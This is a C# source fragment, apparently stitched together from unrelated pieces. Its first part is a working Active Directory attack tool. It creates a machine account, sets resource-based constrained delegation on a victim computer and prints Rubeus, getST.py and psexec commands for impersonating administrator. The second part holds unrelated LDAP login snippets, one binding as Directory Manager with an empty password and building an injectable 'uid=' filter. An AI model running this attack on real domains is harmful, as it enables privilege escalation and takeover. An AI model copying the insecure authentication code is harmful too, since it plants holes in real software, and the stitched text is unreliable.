                {
                    Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                    return;
                }

                //添加机器并设置资源约束委派
                if (result != null)
                {
                    try
                    {
                        var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                            new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
                        });
                        //添加机器账户
                        connection.SendRequest(request);
                        Console.WriteLine("[+] New SAMAccountName = " + sam_account);
                        Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                        Console.WriteLine("[-] Exception: " + ex.Message);
                        return;
                    }
                    // 获取新计算机对象的SID
                    var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
                    var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
                    SecurityIdentifier sid = null;
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
                    {
                        try
                        {
                            sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                            Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                            return;
                        }
                    }
                    //设置资源约束委派
                    String sec_descriptor    = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                    RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                    byte[] buffer            = new byte[sd.BinaryLength];
                    sd.GetBinaryForm(buffer, 0);
                    //测试sddl转换结果
                    //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0);
                    //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All));
                    // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                    try
                    {
                        var change_request = new System.DirectoryServices.Protocols.ModifyRequest();
                        change_request.DistinguishedName = victim_distinguished_name;
                        DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification();
                        modifymsDS.Operation = DirectoryAttributeOperation.Replace;
                        modifymsDS.Name      = "msDS-AllowedToActOnBehalfOfOtherIdentity";
                        modifymsDS.Add(buffer);
                        change_request.Modifications.Add(modifymsDS);
                        connection.SendRequest(change_request);
                        Console.WriteLine("[+] Exploit successfully!\n");
                        //打印利用方式
                        Console.WriteLine("[+] Use impacket to get priv!\n");
                        Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain);
                        Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache");
                        Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain);
                        Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n");
                        Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain);
                        Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController);
                        Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain);
                        Console.WriteLine("\n[+] Done..");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException);
                        Console.WriteLine("[!] Failed...");
                        return;
                    }
                }
            }
            catch (System.Exception ex) {
                Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                return;
            }
        }
        //private string _path;
        //private string _filterAttribute;
        //private ILog log;
        //public LdapAuthentication(string path)
        //{
        //    _path = path;
        //    log = LogManager.GetLogger(this.GetType());
        //}

        public static bool IsAuthenticated(string username, string pwd)
        {
            //string domainAndUsername = (String.IsNullOrEmpty(domain) ? "" : @"\") + username;
            try
            {
                var credential = new NetworkCredential("cn=Directory Manager", "");
                var entry = new LdapConnection("10.243.1.123")
                                {
                                    AuthType = AuthType.Basic,
                                    Credential = credential
                                };
                entry.SessionOptions.ProtocolVersion = 3;
                entry.Bind();
                var searchRequest = new SearchRequest("dc=gmcc,dc=net", "uid=" + username, SearchScope.Subtree);
                var a = (SearchResponse)entry.SendRequest(searchRequest, new TimeSpan(0, 0, 0, 30));
                if (a.Entries.Count == 0)
                    return false;
                try
                {
                    var newC = new NetworkCredential(a.Entries[0].DistinguishedName, pwd);
                    entry.Credential = newC;
                    entry.Bind();
                }
                catch
                {
                    return false;
                }
                return true;

            }
            catch (Exception ex)
            {
                throw new Exception("Error authenticating user. " + ex.Message);
            }
        }
        public User authenticateBoundary(string email, string password)
        {
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);
            network = new NetworkCredential(DN.Replace("{0}", email), password);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;
                    connection.Bind();

                    connection.Dispose();

                    return queryLdap(email);
                }
                catch (LdapException ex)
                {
                    throw new BusinessException(ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException(e.Message);
                }
            }
        }